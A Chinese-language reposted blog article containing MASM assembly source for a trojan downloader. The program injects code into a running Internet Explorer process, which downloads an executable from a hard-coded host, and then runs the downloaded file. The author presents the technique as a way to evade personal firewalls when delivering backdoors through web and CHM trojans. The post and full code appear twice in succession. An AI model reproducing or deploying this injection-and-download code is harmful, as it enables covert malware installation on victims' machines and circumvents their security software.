教你注入下載文件的代碼到IE進(jìn)程然后下載的文件
發(fā)布日期:2021-12-17 16:58 | 文章來源:gibhub
大家可能都用過網(wǎng)頁木馬來下真正的EXE木馬吧,但是有些時(shí)候
后門比較大下載的時(shí)候常常是網(wǎng)頁暫?;蚴菆?bào)錯(cuò)(CHM木馬常遇到)
所以寫了這個(gè)程序。。。。 程序還要改下才好用哈,不過只有2kb很小了。。。。 編繹參數(shù):
C:\masm32\BIN>type ii.bat
ml /c /coff i.asm
link /subsystem:windows i.obj 剛才測試了一下可以逃過天網(wǎng)的應(yīng)用程序防問網(wǎng)絡(luò)限制金山網(wǎng)鏢也肯定沒問題。
; #--------------------------------------# #
; # Injection downloadcode in IE --> # #
; # -->also it can jump personal fire wall # #
; # 2004.07.15 #
; # codz: czy # #
; #------------------------------------------# # ;test on win2k server sp4 masm8 .386
.model flat,stdcall
option casemap:none include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/windows.inc
.data
hello db ’2K下建遠(yuǎn)程線程’,0
tit db ’IEFrame’,0
szFormat db ’PID是:%d’,0
szBuffer dd 20 dup(0),0
pid dd 0
hProcess dd 0
hThread dd 0
pCodeRemote dd 0
path1 db ’c:\a.EXE’,0 .const
szmsg db ’URLDownloadToFileA’,0
userdll db ’Urlmon.dll’,0
;szmsg db ’MessageBoxA’,0
;userdll db ’User32.dll’,0
szloadlib db ’LoadLibraryA’,0 ;注意和LoadLibraryW的區(qū)別喲
kerdll db ’kernel32.dll’,0 .code
codebegin:
dispdata db "http://192.168.0.5/NBTreeList.exe",0
szTit db "c:\a.exe",0
datalen =$-codebegin
Rproc proc msgbox ;MessageBoxA的地址為參數(shù)
CALL @F ;push esi
@@:
POP EBX
SUB EBX,OFFSET @B
LEA ECX,[EBX dispdata]
LEA EDX,[EBX szTit]
push NULL
push 0
push edx
push ecx
push NULL
call msgbox
ret ;重要
Rproc endp
codelen =$-codebegin ;代碼長度xx字節(jié) start:
;invoke FindWindow,0,offset tit ;返回計(jì)算器窗口句柄
invoke FindWindow,offset tit,0
invoke GetWindowThreadProcessId,eax,offset pid ;計(jì)算機(jī)器程序的進(jìn)程PID號
;invoke wsprintf,offset szBuffer,offset szFormat,pid ;把PID用十進(jìn)制顯示
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,pid ;打開進(jìn)程,得到進(jìn)程句柄
mov hProcess,eax ;保存進(jìn)程句柄
invoke VirtualAllocEx,hProcess,0, codelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE
mov pCodeRemote,eax
invoke WriteProcessMemory,hProcess,pCodeRemote,offset codebegin,codelen,NULL mov esi,pCodeRemote
add esi,datalen
push esi
invoke LoadLibrary,offset userdll
invoke GetProcAddress,eax,offset szmsg
pop esi
invoke CreateRemoteThread,hProcess,0,0,esi,eax,0,0 mov hThread,eax ; 返回線程句柄
.if hThread
invoke WaitForSingleObject,hThread, INFINITE ;等待線程結(jié)束
invoke CloseHandle,hThread ;關(guān)閉線程句柄
.endif invoke VirtualFreeEx,hProcess,pCodeRemote,codelen,MEM_RELEASE ;釋放空間
invoke CloseHandle,hProcess ;關(guān)閉進(jìn)程句柄
invoke WinExec,offset path1,SW_SHOW ;以正常方式執(zhí)行下載的木馬。。到時(shí)候改一下就沒窗口了。。
;invoke MessageBoxA,0,offset szBuffer,offset szBuffer,1
invoke ExitProcess,0
end start
后門比較大下載的時(shí)候常常是網(wǎng)頁暫?;蚴菆?bào)錯(cuò)(CHM木馬常遇到)
所以寫了這個(gè)程序。。。。 程序還要改下才好用哈,不過只有2kb很小了。。。。 編繹參數(shù):
C:\masm32\BIN>type ii.bat
ml /c /coff i.asm
link /subsystem:windows i.obj 剛才測試了一下可以逃過天網(wǎng)的應(yīng)用程序防問網(wǎng)絡(luò)限制金山網(wǎng)鏢也肯定沒問題。
; #--------------------------------------# #
; # Injection downloadcode in IE --> # #
; # -->also it can jump personal fire wall # #
; # 2004.07.15 #
; # codz: czy # #
; #------------------------------------------# # ;test on win2k server sp4 masm8 .386
.model flat,stdcall
option casemap:none include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/windows.inc
.data
hello db ’2K下建遠(yuǎn)程線程’,0
tit db ’IEFrame’,0
szFormat db ’PID是:%d’,0
szBuffer dd 20 dup(0),0
pid dd 0
hProcess dd 0
hThread dd 0
pCodeRemote dd 0
path1 db ’c:\a.EXE’,0 .const
szmsg db ’URLDownloadToFileA’,0
userdll db ’Urlmon.dll’,0
;szmsg db ’MessageBoxA’,0
;userdll db ’User32.dll’,0
szloadlib db ’LoadLibraryA’,0 ;注意和LoadLibraryW的區(qū)別喲
kerdll db ’kernel32.dll’,0 .code
codebegin:
dispdata db "http://192.168.0.5/NBTreeList.exe",0
szTit db "c:\a.exe",0
datalen =$-codebegin
Rproc proc msgbox ;MessageBoxA的地址為參數(shù)
CALL @F ;push esi
@@:
POP EBX
SUB EBX,OFFSET @B
LEA ECX,[EBX dispdata]
LEA EDX,[EBX szTit]
push NULL
push 0
push edx
push ecx
push NULL
call msgbox
ret ;重要
Rproc endp
codelen =$-codebegin ;代碼長度xx字節(jié) start:
;invoke FindWindow,0,offset tit ;返回計(jì)算器窗口句柄
invoke FindWindow,offset tit,0
invoke GetWindowThreadProcessId,eax,offset pid ;計(jì)算機(jī)器程序的進(jìn)程PID號
;invoke wsprintf,offset szBuffer,offset szFormat,pid ;把PID用十進(jìn)制顯示
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,pid ;打開進(jìn)程,得到進(jìn)程句柄
mov hProcess,eax ;保存進(jìn)程句柄
invoke VirtualAllocEx,hProcess,0, codelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE
mov pCodeRemote,eax
invoke WriteProcessMemory,hProcess,pCodeRemote,offset codebegin,codelen,NULL mov esi,pCodeRemote
add esi,datalen
push esi
invoke LoadLibrary,offset userdll
invoke GetProcAddress,eax,offset szmsg
pop esi
invoke CreateRemoteThread,hProcess,0,0,esi,eax,0,0 mov hThread,eax ; 返回線程句柄
.if hThread
invoke WaitForSingleObject,hThread, INFINITE ;等待線程結(jié)束
invoke CloseHandle,hThread ;關(guān)閉線程句柄
.endif invoke VirtualFreeEx,hProcess,pCodeRemote,codelen,MEM_RELEASE ;釋放空間
invoke CloseHandle,hProcess ;關(guān)閉進(jìn)程句柄
invoke WinExec,offset path1,SW_SHOW ;以正常方式執(zhí)行下載的木馬。。到時(shí)候改一下就沒窗口了。。
;invoke MessageBoxA,0,offset szBuffer,offset szBuffer,1
invoke ExitProcess,0
end start
版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。
相關(guān)文章
上一篇: